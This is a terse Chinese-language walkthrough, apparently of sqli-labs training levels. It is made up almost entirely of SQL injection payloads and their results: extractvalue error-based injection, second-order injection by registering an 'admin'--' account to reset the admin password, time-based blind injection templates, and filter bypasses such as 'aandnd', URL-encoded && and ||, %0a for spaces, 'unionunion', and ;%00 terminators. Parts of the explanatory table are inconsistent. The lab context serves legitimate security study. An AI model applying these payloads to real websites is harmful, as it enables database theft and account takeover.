略
id=1'+and+extractValue(1,concat(0x7e,user()))--+'
结果:failed。怀疑–被过滤掉了,试试前后闭合方案
id=1'+and+extractValue(1,concat(0x7e,user()))+and+'
这一关比较特殊,是用类admin的账号去修改admin的密码。
思路:
(1)我们注册一个admin'--
、admin'#
、admin' and '1
、admin' or '1
的账号。这是第一次注入
(2)我们通过这个账号修改密码来修改隐藏的admin账户的密码。这是第二次注入
第一个'
在这里是为了闭合前面的'
--
后者#
这里起到注释的效果
列出更改密码的sql更好理解:
username | sql |
---|---|
admin'-- |
update table_x set pasword='123' where username='admin'-- ' and password='456; |
admin'# |
update table_x set pasword='123' where username='admin#'-- ' and password='456; |
admin' and '1 |
update table_x set pasword='123' where username='admin#'-- ' and password='456; |
admin' or '1 |
update table_x set pasword='123' where username='admin#'-- ' or password='456; |
略
''存在
id=-1'+or+extractValue(1,concat(0x73,user()))--+
发现and,or关键字被屏蔽了,还是不区分大小写的屏蔽
结果:成功注入
POC: id=-1'+aandnd+extractValue(1,concat(0x73,user()))--+
略
id=1' and if(1,sleep(3),sleep(0))--+
id=1" and if(1,sleep(3),sleep(0))--+
==》存在注入
id=1+aandnd+if(length(user())=§1§,sleep(3),0)--+
==》14
id=1+aandnd+if(substr(user(),§1§,1)='§a§',sleep(3),0)--+
==》root@localhost
'+union+select+1,user(),3--+
==》 因为空格被过滤了,所以and,union
都使用不了,--+
也使用不了
寻找其他替代方案:&&替代and,后’闭合替换--+
POC: id=1'%26extractvalue(1,concat(0x7e,user(),0x7e))%26'
//字符串拼接,&使用%编码
==》 成功爆出
POC: id=1'%26%26extractvalue(1,concat(0x7e,user(),0x7e))%26%26'
//&&使用%编码
==》 成功爆出
POC: id=1'|extractvalue(1,concat(0x7e,user(),0x7e))|'
//使用|
==》 成功爆出
POC: id=1'||extractvalue(1,concat(0x7e,user(),0x7e))||'
//使用||
==》 成功爆出
POC: id=1'%7cextractvalue(1,concat(0x7e,user(),0x7e))%7c'
//|使用%编码
==》 成功爆出
POC: id=1'%7c%7cextractvalue(1,concat(0x7e,user(),0x7e))%7c%7c'
//||使用%编码
==》 成功爆出
POC: 1'aandnd(extractvalue(1,concat(0x7e,user())))='1
==》 成功爆出
==>爆破失败,%0a也被过滤掉了
&,&&,|,||
以及他们的%编码--+
同level-26
同level-26
因为没有回显,只能通过盲注爆破
1'%26%26if(1=1,length(user())=§1§,0)=0%26%26'1
id=1'%26%26if(1=1,substring(user(),§1§,1)='§a§',0)=0%26%26'1
略
略
==>存在
1'+%26%26+extractvalue(1,concat(0x7e,user(),0x7e))%26%26'
id=1'+union+select+1,2,3,4--+
==》 union select被过滤了
既然空格和union select都被过滤了,试试使用&&、&、||、|、()、%0a
+报错函数+前后闭合这种方式
POC: id=1'|extractvalue(1,concat(0x7e,user(),0x7e))|'
==》成功爆破。
当然使用其他%26%26、%26、||
,也是可以的
同level27
同level27
同level27,不过加上了盲注,盲注可以参考26a。
POC: 1"+and%0aif(length(user())=§1§,1,0)="1
1"+and%0aif(substring(user(),§1§,1)='§a§',1,0)="1
略
1
、1"
回显正常 ,1'
回显错误,存在单引号 字符型注入2'%26%26'1'='1
,回显为id=1,存在小括号
(2&&1=1)
的结果是1,所以id不论怎么变都和id=1。若没有小括号,id等于几,回显多少关的数据
id=1')+order+by+10--+
id=1')%0aorder%0aby%0a10%26%26'1'=('1
==》空格
被过滤了
==》 #
被过滤了
==》--
被过滤了
==》union select
被过滤了
==》union空白字符select
也被过滤了
id=1')%0aorder%0aby%0a10;%00
order by利用二分法爆破
注:%00代表NULL,用来表示字符串的结束,相当于C中"/0",因为用不了注释,这里使用%00
==》爆出列数4
%0a
代替空格id=0')%0aunion%0aselect%0a1,2,3%0aor('1'='1
==》union%0aselect被过滤了
id=0')%0aunionunion%0aselect%0aselect%0a1,2,3%0aor('1'='1
id=0')%0aunionunion%0aselect%0aselect%0a1,database(),3%0aor('1'='1
==> 爆破成功,user()虽然没爆破出来,我们可以利用第二个位置填入user,再试一次即可。
注:当然上面也可以使用;%00
,即替换后面%0aor('1'='1
略
略,同level-28
前言:阻抗失衡一般用于解释。这一关要路径带入login.php,否则是没有WAP轻易爆破
略
略
前言:同level-29,url路径带入login.php;
略
略